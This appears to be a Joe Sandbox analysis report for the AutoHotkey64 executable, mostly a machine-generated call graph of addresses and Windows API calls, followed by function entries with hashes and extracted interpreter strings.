237694->237804 237805 1400bdd00 62 API calls free 237694->237805 237806 1400d6fd8 62 API calls 2 library calls 237694->237806 237695->237694 237696->237694 237697 140096acc 237700 1400bd9d0 62 API calls 237697->237700 237698->237690 237698->237697 237699 1400b1260 145 API calls 237698->237699 237699->237697 237700->237680 237703->237694 237705->237694 237709->237660 237710->237660 237711->237660 237712->237660 237713->237660 237714->237660 237715->237660 237716->237660 237717->237645 237718->237628 237719->237645 237720->237645 237721->237644 237722->237644 237723->237645 237724->237645 237725->237645 237726->237645 237727->237631 237728->237645 237731 1400b40f7 237729->237731 237730 1400b41a4 237859 1400b3b90 207 API calls 237730->237859 237731->237730 237733 1400b4133 237731->237733 237809 1400afea0 237733->237809 237734 1400b4164 237734->237690 237735 1400b4292 237735->237734 237863 14004f1e0 124 API calls 237735->237863 237736 1400b41ca 237736->237734 237736->237735 237742 1400b4208 237736->237742 237860 140001820 145 API calls 237736->237860 237739 1400b4240 237739->237735 237741 1400b4244 237739->237741 237741->237734 237862 1400b3b90 207 API calls 237741->237862 237861 1400d6a8c 62 API calls 2 library calls 237742->237861 237746 140085a80 89 API calls 237745->237746 237747 140069365 237746->237747 237761 140069503 237747->237761 237891 140085df0 124 API calls 237747->237891 237748 1400d7728 73 API calls 237751 140069517 237748->237751 237750 140069392 237752 1400e92a8 64 API calls 237750->237752 237753 1400693ae 237750->237753 237755 140069680 237751->237755 237760 14006973d 237751->237760 237766 140069596 237751->237766 237752->237753 237756 1400693ba _wcsupr_s_l 237753->237756 237892 140001820 145 API calls 237753->237892 237758 1400b0fd0 65 API calls 237755->237758 237755->237760 237764 1400696da 237755->237764 237756->237760 237756->237761 237763 1400694ca 237756->237763 237893 140001820 145 API calls 237756->237893 237757 1400b0fd0 65 API calls 237757->237760 237758->237755 237760->237690 237761->237748 237763->237761 237894 140085920 65 API calls 237763->237894 237764->237757 237766->237760 237766->237764 237885 1400b0fd0 237766->237885 237768 140069318 237767->237768 237769 1400e92a8 64 API calls 237768->237769 237770 1400693ae 237769->237770 237774 1400693ba _wcsupr_s_l 237770->237774 237895 140001820 145 API calls 237770->237895 237772 1400d7728 73 API calls 237773 140069517 237772->237773 237779 140069680 237773->237779 237782 14006973d 237773->237782 237785 140069596 237773->237785 237776 1400694ca 237774->237776 237777 140069503 237774->237777 237774->237782 237896 140001820 145 API calls 237774->237896 237776->237777 237897 140085920 65 API calls 237776->237897 237777->237772 237781 1400b0fd0 65 API calls 237779->237781 237779->237782 237783 1400696da 237779->237783 237780 1400b0fd0 65 API calls 237780->237782 237781->237779 237782->237690 237783->237780 237784 1400b0fd0 65 API calls 237784->237785 237785->237782 237785->237783 237785->237784 237787 140050797 237786->237787 237788 140040110 207 API calls 237787->237788 237790 1400507d3 237788->237790 237789 1400507fe 237789->237690 237790->237789 237898 1400082a0 121 API calls _RunAllParam 237790->237898 237792->237676 237794 1400e92d9 237793->237794 237800 1400e92d2 237793->237800 237795 1400e9308 RtlPcToFileHeader 237794->237795 237796 1400e9325 237794->237796 237795->237796 237796->237800 237899 1400dcbec 62 API calls std::exception::exception 237796->237899 237798 1400e93cd 237900 1400dcd4c RaiseException _cftof_l 237798->237900 237800->237693 237801->237691 237802->237694 237803->237694 237804->237694 237805->237694 237806->237694 237807->237698 237808->237684 237811 1400afedc 237809->237811 237812 1400aff3c 237809->237812 237811->237812 237831 1400aff45 _wcsupr_s_l _cftof_l 237811->237831 237864 1400d6a8c 62 API calls 2 library calls 237811->237864 237821 1400b0178 237812->237821 237824 1400affc0 237812->237824 237866 140085630 65 API calls 237812->237866 237814 1400b0017 237815 1400b003f 237814->237815 237816 1400b001f 237814->237816 237868 140085df0 124 API calls 237815->237868 237867 140085920 65 API calls 237816->237867 237819 1400b0461 237822 1400b062c 237819->237822 237838 1400b0474 237819->237838 237820 1400b0044 237833 1400b0029 237820->237833 237869 140085a80 237820->237869 237821->237824 237828 1400b0422 237821->237828 237829 1400b02ff 237821->237829 237875 1400b2e70 62 API calls 237821->237875 237823 1400b0710 237822->237823 237843 1400b0636 237822->237843 237823->237824 237884 140085f00 62 API calls 2 library calls 237823->237884 237824->237734 237825 1400b048b 237878 1400b0ee0 207 API calls 237825->237878 237828->237819 237828->237824 237828->237825 237834 1400e92a8 64 API calls 237828->237834 237829->237824 237829->237828 237876 1400d6a8c 62 API calls 2 library calls 237829->237876 237830 1400b00bb 237830->237833 237874 1400d6a8c 62 API calls 2 library calls 237830->237874 237831->237812 237865 1400b0ee0 207 API calls 237831->237865 237833->237821 237844 1400d8478 _cinit 72 API calls 237833->237844 237839 1400b045c 237834->237839 237837 1400b0537 237837->237824 237849 1400d7728 73 API calls 237837->237849 237838->237824 237838->237837 237879 1400d6a8c 62 API calls 2 library calls 237838->237879 237839->237819 237839->237825 237840 1400b03a3 237840->237828 237846 1400b03a7 237840->237846 237843->237824 237853 1400b0650 237843->237853 237881 1400b2f70 65 API calls 2 library calls 237843->237881 237844->237821 237846->237824 237877 140085df0 124 API calls 237846->237877 237847 1400b04d4 237847->237837 237852 1400b04d8 237847->237852 237854 1400b054b 237849->237854 237852->237824 237856 1400d7728 73 API calls 237852->237856 237853->237824 237882 1400b2730 145 API calls free 237853->237882 237854->237824 237880 1400b2f70 65 API calls 2 library calls 237854->237880 237856->237824 237857 1400b067e 237857->237824 237883 140001820 145 API calls 237857->237883 237859->237736 237860->237742 237861->237739 237862->237734 237863->237734 237864->237811 237865->237812 237866->237814 237867->237833 237868->237820 237870 140085a92 237869->237870 237871 140085aa2 237869->237871 237870->237871 237872 1400b9320 89 API calls 237870->237872 237871->237830 237873 140085af1 237872->237873 237873->237830 237874->237830 237875->237829 237876->237840 237877->237824 237878->237824 237879->237847 237880->237824 237881->237853 237882->237857 237883->237824 237884->237824 237886 1400b0ff8 237885->237886 237888 1400b1016 _cftof_l 237885->237888 237887 1400d7018 realloc 65 API calls 237886->237887 237887->237888 237889 1400d6f18 realloc 62 API calls 237888->237889 237890 1400b109c _cftof_l 237888->237890 237889->237890 237890->237766 237891->237750 237892->237756 237893->237763 237894->237761 237895->237774 237896->237776 237897->237777 237898->237789 237899->237798 237900->237800 237901 140001bac 237902 140001bb7 237901->237902 237903 140001bd6 GlobalUnlock 237902->237903 237904 140001bea CloseClipboard 237902->237904 237905 140001bfd 237902->237905 237903->237904 237904->237905 237906 140001c48 237905->237906 237968 1400048f0 joyGetPosEx PostMessageW 237905->237968 237908 140001c58 237906->237908 237909 140001c6c 237906->237909 237969 1400045b0 175 API calls 2 library calls 237908->237969 237912 140001c88 SetTimer 237909->237912 237914 140001cac wcsncpy 237909->237914 237911 140001c5d 237911->237909 237912->237914 237913 140001d56 GetTickCount 237913->237914 237914->237913 237919 1400021c0 GetFocus 237914->237919 237921 140002a66 GetForegroundWindow 237914->237921 237923 1400025b3 IsDialogMessageW 237914->237923 237926 14000272a ShowWindow 237914->237926 237928 14000220b TranslateAcceleratorW 237914->237928 237930 140002b11 SetCurrentDirectoryW 237914->237930 237933 140001ae0 GetDlgCtrlID GetParent GetDlgCtrlID 237914->237933 237934 14000252e SendMessageW 237914->237934 237935 14000254a SendMessageW 237914->237935 237937 140002408 GetKeyState 237914->237937 237940 1400024ec PostMessageW 237914->237940 237941 140002471 GetWindowLongW 237914->237941 237942 1400024af SendMessageW 237914->237942 237943 1400022ef GetKeyState 237914->237943 237946 14000238a IsWindowEnabled 237914->237946 237947 140002319 GetWindowLongW 237914->237947 237948 14000312d DragFinish 237914->237948 237949 1400023a8 GetKeyState 237914->237949 237953 1400032c9 IsClipboardFormatAvailable 237914->237953 237954 1400020e5 wcsncpy 237914->237954 237963 1400052f0 237914->237963 237971 1400c0360 GetWindowLongW GetParent GetWindowLongW 237914->237971 237972 140098150 GetWindowLongW GetParent 237914->237972 237973 1400048f0 joyGetPosEx PostMessageW 237914->237973 237917 140001d97 GetTickCount 237917->237914 237919->237914 237922 140002a78 GetWindowThreadProcessId 237921->237922 237924 140002a8f GetClassNameW 237922->237924 237923->237914 237927 140002ac1 IsDialogMessageW 237924->237927 237926->237914 237927->237914 237928->237914 237930->237914 237933->237914 237934->237914 237935->237914 237936 140004411 237939 140004486 237936->237939 237944 140004462 KillTimer 237936->237944 237937->237914 237938 14000241f GetKeyState 237937->237938 237938->237914 237940->237914 237941->237914 237945 140002489 SendMessageW 237941->237945 237942->237914 237943->237914 237944->237939 237945->237914 237946->237914 237947->237914 237948->237914 237949->237954 237950 1400aaad0 209 API calls 237950->237954 237951 140003212 GetTickCount 237951->237914 237953->237954 237955 1400032d6 IsClipboardFormatAvailable 237953->237955 237954->237914 237954->237936 237954->237950 237954->237951 237970 140004a90 180 API calls 3 library calls 237954->237970 237974 1400045b0 175 API calls 2 library calls 237954->237974 237975 140004530 GetTickCount 237954->237975 237976 14004f1e0 124 API calls 237954->237976 237977 140006ac0 81 API calls 237954->237977 237978 140004dd0 SetCurrentDirectoryW GetTickCount LoadImageW Shell_NotifyIconW _cftof_l 237954->237978 237955->237954 237958 140003347 GetTickCount 237961 140003372 237958->237961 237961->237913 237979 1400161f0 152 API calls _wcsupr_s_l 237961->237979 237980 140004f30 237961->237980 238008 140004530 GetTickCount 237961->238008 237964 1400052fd 237963->237964 237965 140001d76 GetMessageW 237963->237965 237964->237965 237966 140005328 GetTickCount 237964->237966 237965->237913 237965->237917 237966->237965 237967 140005343 237966->237967 237967->237965 237968->237906 237969->237911 237970->237954 237971->237914 237972->237914 237973->237914 237974->237954 237975->237954 237976->237954 237977->237954 237978->237958 237979->237961 237981 140004f52 237980->237981 237982 140004f7d _RunAllParam 237980->237982 237981->237982 238009 1400d6fd8 62 API calls 2 library calls 237981->238009 237989 140004fad _RunAllParam 237982->237989 238010 1400d6fd8 62 API calls 2 library calls 237982->238010 237984 140005021 237991 140005081 237984->237991 237992 140005071 237984->237992 237985 140005004 237988 1400bd650 94 API calls 237985->237988 238002 14000501c _cftof_l 237988->238002 237990 140004fd2 _RunAllParam 237989->237990 238011 1400d6fd8 62 API calls 2 library calls 237989->238011 237990->237984 237990->237985 237995 1400050b8 237991->237995 237997 1400050d2 237991->237997 237991->238002 238012 140006d20 21 API calls 2 library calls 237992->238012 237994 140029958 237994->237961 238013 1400bdd00 62 API calls free 237995->238013 237998 14000512c 237997->237998 237997->238002 238007 14000510f 237997->238007 238003 1400b60b0 73 API calls 237998->238003 237999 140029911 LoadImageW 238001 14002993b Shell_NotifyIconW 237999->238001 238000 140029908 238000->238001 238001->237994 238002->237994 238002->237999 238002->238000 238002->238001 238003->238002 238004 140005237 238004->238002 238006 1400d6f18 realloc 62 API calls 238004->238006 238006->238002 238007->238002 238007->238004 238014 1400d6fd8 62 API calls 2 library calls 238007->238014 238008->237961 238009->237982 238010->237989 238011->237990 238012->238002 238013->238002 238014->238004 238015 14002d5ff 238040 14002b472 wcsncpy _cftof_l _RunAllParam 238015->238040 238016 14002d64a GetKeyboardLayout 238016->238040 238017 140022f50 64 API calls 238017->238040 238018 14002d6f8 IsCharUpperW 238018->238040 238020 140033270 103 API calls 238020->238040 238022 1400d77f8 89 API calls _swprintf 238022->238040 238026 14002e0d9 238027 14002e750 209 API calls 238043 14002b4aa 238027->238043 238031 1400b9320 89 API calls 238031->238040 238035 1400d7260 64 API calls 238035->238040 238036 1400d7728 73 API calls 238036->238040 238037 14002d4d4 GetKeyboardLayout 238037->238040 238038 1400d6f18 62 API calls realloc 238038->238040 238039 1400d6a8c 62 API calls 238039->238040 238040->238016 238040->238017 238040->238018 238040->238020 238040->238022 238040->238026 238040->238031 238040->238035 238040->238036 238040->238037 238040->238038 238040->238039 238041 1400d7018 65 API calls realloc 238040->238041 238040->238043 238044 1400d6fd8 62 API calls free 238040->238044 238045 14002e520 238040->238045 238050 140039210 148 API calls 3 library calls 238040->238050 238051 140038b90 149 API calls 238040->238051 238052 140037ee0 148 API calls 5 library calls 238040->238052 238053 140039420 149 API calls _wcsupr_s_l 238040->238053 238054 140019000 129 API calls wcsncpy 238040->238054 238055 14002ffe0 73 API calls _wcsupr_s_l 238040->238055 238056 14001ab90 73 API calls realloc 238040->238056 238057 140014de0 62 API calls 238040->238057 238058 140019f30 62 API calls 2 library calls 238040->238058 238059 140018e90 73 API calls 238040->238059 238060 140018170 132 API calls 3 library calls 238040->238060 238041->238040 238043->238026 238043->238027 238043->238040 238044->238040 238046 14002e741 238045->238046 238047 14002e53b 238045->238047 238046->238040 238047->238046 238061 1400b6cd0 238047->238061 238049 14002e565 _cftof_l 238049->238040 238050->238040 238051->238040 238052->238040 238053->238040 238054->238040 238055->238040 238056->238040 238057->238040 238058->238040 238059->238040 238060->238040 238066 1400b6cfd _cftof_l 238061->238066 238062 1400b6fbe 238062->238049 238063 1400d6f18 realloc 62 API calls 238063->238066 238064 1400b68a0 63 API calls 238064->238066 238065 1400b6f56 MultiByteToWideChar 238065->238066 238066->238062 238066->238063 238066->238064 238066->238065 238067 14000426d 238068 1400042b1 238067->238068 238069 140004209 238067->238069 238129 1400073f0 65 API calls realloc 238068->238129 238111 140001cf3 wcsncpy 238069->238111 238128 1400af3a0 148 API calls 3 library calls 238069->238128 238071 140004f30 96 API calls 238071->238111 238073 140001d56 GetTickCount 238073->238111 238074 140004530 GetTickCount 238115 1400020e5 wcsncpy 238074->238115 238075 1400052f0 GetTickCount 238076 140001d76 GetMessageW 238075->238076 238076->238073 238077 140001d97 GetTickCount 238076->238077 238077->238111 238079 1400021c0 GetFocus 238079->238111 238081 140002a66 GetForegroundWindow 238082 140002a78 GetWindowThreadProcessId 238081->238082 238084 140002a8f GetClassNameW 238082->238084 238083 1400025b3 IsDialogMessageW 238083->238111 238087 140002ac1 IsDialogMessageW 238084->238087 238086 14000272a ShowWindow 238086->238111 238087->238111 238088 14000220b TranslateAcceleratorW 238088->238111 238090 140002b11 SetCurrentDirectoryW 238090->238111 238092 140001ae0 GetDlgCtrlID GetParent GetDlgCtrlID 238092->238111 238093 14000252e SendMessageW 238093->238111 238094 14000254a SendMessageW 238094->238111 238095 140004411 238098 140004486 238095->238098 238103 140004462 KillTimer 238095->238103 238096 140002408 GetKeyState 238097 14000241f GetKeyState 238096->238097 238096->238111 238097->238111 238099 1400024ec PostMessageW 238099->238111 238100 140002471 GetWindowLongW 238104 140002489 SendMessageW 238100->238104 238100->238111 238101 1400024af SendMessageW 238101->238111 238102 1400022ef GetKeyState 238102->238111 238103->238098 238104->238111 238105 14000238a IsWindowEnabled 238105->238111 238106 140002319 GetWindowLongW 238106->238111 238107 14000312d DragFinish 238107->238111 238108 1400023a8 GetKeyState 238108->238115 238109 1400aaad0 209 API calls 238109->238115 238110 140003212 GetTickCount 238110->238111 238111->238071 238111->238073 238111->238075 238111->238079 238111->238081 238111->238083 238111->238086 238111->238088 238111->238090 238111->238092 238111->238093 238111->238094 238111->238096 238111->238099 238111->238100 238111->238101 238111->238102 238111->238105 238111->238106 238111->238107 238111->238108 238113 1400032c9 IsClipboardFormatAvailable 238111->238113 238111->238115 238121 1400c0360 GetWindowLongW GetParent GetWindowLongW 238111->238121 238122 140098150 GetWindowLongW GetParent 238111->238122 238123 1400048f0 joyGetPosEx PostMessageW 238111->238123 238114 1400032d6 IsClipboardFormatAvailable 238113->238114 238113->238115 238114->238115 238115->238073 238115->238074 238115->238095 238115->238109 238115->238110 238115->238111 238120 140004a90 180 API calls 3 library calls 238115->238120 238124 1400045b0 175 API calls 2 library calls 238115->238124 238125 14004f1e0 124 API calls 238115->238125 238126 140006ac0 81 API calls 238115->238126 238127 140004dd0 SetCurrentDirectoryW GetTickCount LoadImageW Shell_NotifyIconW _cftof_l 238115->238127 238130 1400161f0 152 API calls _wcsupr_s_l 238115->238130 238118 140003347 GetTickCount 238118->238115 238120->238115 238121->238111 238122->238111 238123->238111 238124->238115 238125->238115 238126->238115 238127->238118 238128->238111 238129->238069 238130->238111 238131 140039d80 238132 140039dbf 238131->238132 238134 140039dc4 _cftof_l 238131->238134 238179 140039bf0 102 API calls 238132->238179 238135 140039e91 GetFileAttributesW 238134->238135 238136 140039f13 238134->238136 238143 140039fea 238134->238143 238135->238134 238145 140070ce0 187 API calls 3 library calls 238136->238145 238138 140039f8b 238146 14002aed0 238138->238146 238139 140039f46 238139->238138 238180 140028490 101 API calls 238139->238180 238142 140039fb5 238142->238143 238181 14003a050 148 API calls wcsncpy 238142->238181 238145->238139 238148 14002aee1 _wcsupr_s_l 238146->238148 238147 14002af2e 238147->238142 238148->238147 238152 1400d7018 realloc 65 API calls 238148->238152 238156 14002af73 238148->238156 238149 14002afbb wcsncpy 238151 14002afc1 238149->238151 238153 14002afea CharUpperW 238149->238153 238150 14002b000 GetFullPathNameW 238155 14002b01b 238150->238155 238154 14002b105 238151->238154 238158 14002b092 FindResourceW 238151->238158 238152->238156 238153->238155 238157 1400d7728 73 API calls 238154->238157 238155->238151 238159 14002b030 lstrcmpiW 238155->238159 238156->238147 238156->238149 238156->238150 238160 14002b10f 238157->238160 238158->238154 238161 14002b0a6 LoadResource 238158->238161 238159->238147 238159->238155 238162 14002b0f9 238160->238162 238191 1400058e0 GetCPInfo 238160->238191 238161->238162 238163 14002b0b6 LockResource 238161->238163 238164 14002b24c 238162->238164 238182 1400b7525 238162->238182 238163->238162 238165 14002b0c9 SizeofResource 238163->238165 238164->238147 238170 1400b9320 89 API calls 238164->238170 238167 1400d7728 73 API calls 238165->238167 238169 14002b0ec 238167->238169 238168 14002b153 238168->238164 238171 1400b6b50 65 API calls 238168->238171 238169->238162 238190 1400284c0 GetCPInfo 238169->238190 238170->238147 238173 14002b16e 238171->238173 238173->238164 238174 14002b176 238173->238174 238175 14002b191 238174->238175 238177 1400b5ff0 73 API calls 238174->238177 238175->238147 238176 14002b1ef FindResourceW 238175->238176 238176->238147 238177->238175 238179->238134 238180->238138 238181->238143 238184 1400b753e 238182->238184 238183 1400b7648 CreateFileW 238183->238168 238185 1400b755e GetFileType 238184->238185 238187 1400b7593 238184->238187 238189 1400b756b 238185->238189 238186 1400b75f3 GetStdHandle 238186->238189 238187->238183 238187->238186 238189->238168 238190->238162 238191->238162 238192 1400285b0 238193 1400287f9 _vsnprintf_l 238192->238193 238205 1400ad450 238193->238205 238195 14003be40 62 API calls 238198 140028900 238195->238198 238196 14003be40 62 API calls 238199 140028878 238196->238199 238197 14002880f 238197->238196 238204 1400288a6 238197->238204 238200 14003c140 100 API calls 238198->238200 238203 14002892d 238198->238203 238202 14003c140 100 API calls 238199->238202 238199->238204 238200->238203 238201 14002895e InitializeCriticalSection OleInitialize 238202->238204 238203->238201 238204->238195 238206 1400ad469 238205->238206 238207 1400ad4e3 238205->238207 238206->238207 238208 1400d6f18 realloc 62 API calls 238206->238208 238207->238197 238210 1400ad4a1 238208->238210 238209 1400ad55e 238209->238197 238210->238209 238210->238210 238211 1400d7728 73 API calls 238210->238211 238212 1400ad4db 238211->238212 238212->238207 238214 1400d6fd8 62 API calls 2 library calls 238212->238214 238214->238209 238215 140044fba 238228 1400722b0 238215->238228 238217 1400401c0 238218 1400401fa GetTickCount 238217->238218 238219 1400401e7 CloseClipboard 238217->238219 238220 1400401d3 GlobalUnlock 238217->238220 238222 140040242 GetTickCount 238217->238222 238223 14004030c GetTickCount 238217->238223 238225 140096c00 207 API calls 238217->238225 238226 140040110 207 API calls 238217->238226 238227 140046433 238217->238227 238292 1400082a0 121 API calls _RunAllParam 238217->238292 238218->238217 238221 140040219 PeekMessageW 238218->238221 238219->238218 238220->238219 238221->238217 238221->238222 238222->238217 238223->238217 238225->238217 238226->238217 238293 140024380 238228->238293 238230 1400724f1 CreateFileW 238231 140072546 GetFileSize 238230->238231 238232 14007252c GetLastError 238230->238232 238233 14007256f GetLastError 238231->238233 238234 140072579 238231->238234 238282 1400728d7 _cftof_l 238232->238282 238233->238234 238235 14007258c GetLastError CloseHandle 238233->238235 238234->238235 238237 1400725af 238234->238237 238235->238282 238239 1400725bb 238237->238239 238240 1400725d9 238237->238240 238238 1400723eb 238238->238217 238313 14004e250 123 API calls _wcsupr_s_l 238239->238313 238242 1400725de CloseHandle 238240->238242 238243 1400725fc 238240->238243 238242->238282 238244 1400726ff 238243->238244 238248 140072620 238243->238248 238245 1400d6f18 realloc 62 API calls 238244->238245 238249 14007270b 238245->238249 238246 1400723d3 238310 14004cf20 185 API calls 3 library calls 238246->238310 238250 1400bd650 94 API calls 238248->238250 238252 140072667 ReadFile GetLastError CloseHandle 238249->238252 238253 140072717 238249->238253 238254 140072645 238250->238254 238256 1400726ac 238252->238256 238265 140072ab4 238252->238265 238315 14004e250 123 API calls _wcsupr_s_l 238253->238315 238257 140072730 CloseHandle 238254->238257 238314 140001820 145 API calls 238254->238314 238258 140072a4f 238256->238258 238259 1400726ba 238256->238259 238257->238238 238266 140072a66 238258->238266 238258->238282 238262 140072740 238259->238262 238271 1400726d4 238259->238271 238260 1400722e0 238260->238230 238260->238246 238311 1400d6b94 65 API calls 2 library calls 238260->238311 238312 1400d6ecc 63 API calls _wcstoui64 238260->238312 238269 14007275c 238262->238269 238270 1400728ee 238262->238270 238264 14007265b 238264->238252 238264->238257 238265->238282 238323 1400d6fd8 62 API calls 2 library calls 238265->238323 238321 1400bd430 16 API calls _cftof_l 238266->238321 238276 1400bd650 94 API calls 238269->238276 238301 1400be450 MultiByteToWideChar 238270->238301 238275 1400be450 164 API calls 238271->238275 238272 140072a72 238322 1400d6fd8 62 API calls 2 library calls 238272->238322 238274 1400726ea 238279 14007279c 238274->238279 238316 1400d6fd8 62 API calls 2 library calls 238274->238316 238275->238274 238276->238274 238278 140072a81 238278->238238 238278->238282 238317 140001820 145 API calls 238279->238317 238282->238238 238320 14004cf20 185 API calls 3 library calls 238282->238320 238283 1400727ab _cftof_l 238283->238282 238284 1400728d3 238283->238284 238285 1400d7018 realloc 65 API calls 238283->238285 238289 140072944 238283->238289 238284->238282 238286 1400d7018 realloc 65 API calls 238284->238286 238290 140072959 _cftof_l 238284->238290 238285->238283 238288 14007293f 238286->238288 238288->238289 238288->238290 238289->238282 238318 1400d6fd8 62 API calls 2 library calls 238289->238318 238319 1400d6fd8 62 API calls 2 library calls 238290->238319 238292->238217 238294 1400243a8 238293->238294 238295 14002438c 238293->238295 238300 1400243cf _wcsupr_s_l 238294->238300 238324 1400bdd00 62 API calls free 238294->238324 238296 1400bd650 94 API calls 238295->238296 238297 1400243a3 238296->238297 238297->238260 238299 1400243f9 238299->238260 238300->238300 238302 1400be50a 238301->238302 238303 1400be4a1 238301->238303 238304 140024380 94 API calls 238302->238304 238305 1400bd650 94 API calls 238303->238305 238309 1400be4b7 238304->238309 238306 1400be4b3 238305->238306 238306->238309 238325 140001820 145 API calls 238306->238325 238308 1400be4cb MultiByteToWideChar 238308->238309 238309->238274 238310->238238 238311->238260 238312->238260 238313->238238 238314->238264 238315->238257 238316->238279 238317->238283 238318->238282 238319->238282 238320->238238 238321->238272 238322->238278 238323->238282 238324->238299 238325->238308 238326 1400b0d16 238327 1400b13a0 238326->238327 238328 1400b13d1 238327->238328 238329 1400b13d8 238327->238329 238337 1400b13c5 238327->238337 238338 1400b1640 238328->238338 238342 140085630 65 API calls 238329->238342 238332 1400b13e0 238333 1400b13f8 238332->238333 238334 1400b13e8 238332->238334 238344 140024bd0 148 API calls 238333->238344 238343 1400b1450 148 API calls 238334->238343 238339 1400b165e 238338->238339 238340 1400b1260 145 API calls 238339->238340 238341 1400b1687 238340->238341 238341->238337 238342->238332 238343->238337 238344->238337 238345 140040c4c 238346 140040c52 238345->238346 238359 1400497c0 238346->238359 238348 140046433 238349 1400401fa GetTickCount 238352 140040219 PeekMessageW 238349->238352 238353 1400401c0 238349->238353 238350 1400401e7 CloseClipboard 238350->238349 238351 1400401d3 GlobalUnlock 238351->238350 238352->238353 238354 140040242 GetTickCount 238352->238354 238353->238348 238353->238349 238353->238350 238353->238351 238353->238354 238355 14004030c GetTickCount 238353->238355 238357 140096c00 207 API calls 238353->238357 238358 140040110 207 API calls 238353->238358 238367 1400082a0 121 API calls _RunAllParam 238353->238367 238354->238353 238355->238353 238357->238353 238358->238353 238365 140049811 238359->238365 238360 140040110 207 API calls 238360->238365 238361 140049883 238361->238353 238362 1400498be GetTickCount 238362->238365 238364 140096c00 207 API calls 238364->238365 238365->238360 238365->238361 238365->238362 238365->238364 238368 1400082a0 121 API calls _RunAllParam 238365->238368 238369 1400851e0 66 API calls 238365->238369 238367->238353 238368->238365 238369->238365

                                                              Executed Functions

                                                              Function 000000014002B3D7 Relevance: 116.6, APIs: 25, Strings: 40, Instructions: 2818COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: <>=/|^,:*&~!()[]{}+-?."'\;`$ & $#CommentFlag$%s up::$%s%s%s$%s::$<>=/|^,:$<>=/|^,:.+-*&!?~$?*- $Class$Continuation section too long.$Default$Duplicate hotkey.$Duplicate label.$Functions cannot contain functions.$Get$Hotkeys/hotstrings are not allowed inside functions.$IfWin should be #IfWin.$Invalid single-line hotkey/hotstring.$Join$LTrim$Missing ")"$Missing "{"$Not a valid method, class or property definition.$Not a valid property getter/setter.$Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.$OnClipboardChange$Out of memory.$RTrim$Return$Set$Static$This hotstring is missing its abbreviation.$This line does not contain a recognized action.$and$if not GetKeyState("%s")${Blind}%s%s{%s DownR}${Blind}{%s Up}${LCtrl up}${RCtrl up}
                                                              • API String ID: 0-2793573874
                                                              • Opcode ID: 6afb5b597c72751738172687ea1a7f0f8cc8d7f657ebd8dbcee881ca6fc316b7
                                                              • Instruction ID: c922a5e18323dde001dd9bdf035c49713fa52ca50ef22eaa2375b4a36325462e
                                                              • Opcode Fuzzy Hash: 6afb5b597c72751738172687ea1a7f0f8cc8d7f657ebd8dbcee881ca6fc316b7
                                                              • Instruction Fuzzy Hash: 2A43DE3621469085FB629B269414BEE37A1FB4CBD8F94421AFF5907AF9EB78CD45C300
                                                              Function 0000000140063220 Relevance: 75.8, APIs: 38, Strings: 5, Instructions: 524registrywindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: MessageRegisterWindow
                                                              • String ID: $9000$AHK_ATTACH_DEBUGGER$TaskbarCreated$localhost
                                                              • API String ID: 1814269913-2055397393
                                                              • Opcode ID: 43bb553749a1f0c1c78a394f6c5aac775979efa71af8c8d701c576568cc93282
                                                              • Instruction ID: a7392edce788951db9e27e759429faef39d5a114dd0901b07d2ef0b24b319e5c
                                                              • Opcode Fuzzy Hash: 43bb553749a1f0c1c78a394f6c5aac775979efa71af8c8d701c576568cc93282
                                                              • Instruction Fuzzy Hash: 1A32BFB52006448AFB66CB27E8447E977A2F74CBD8F644819EB4E537B4DB38D846C780
                                                              Function 00000001400291A0 Relevance: 54.5, APIs: 22, Strings: 9, Instructions: 233windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
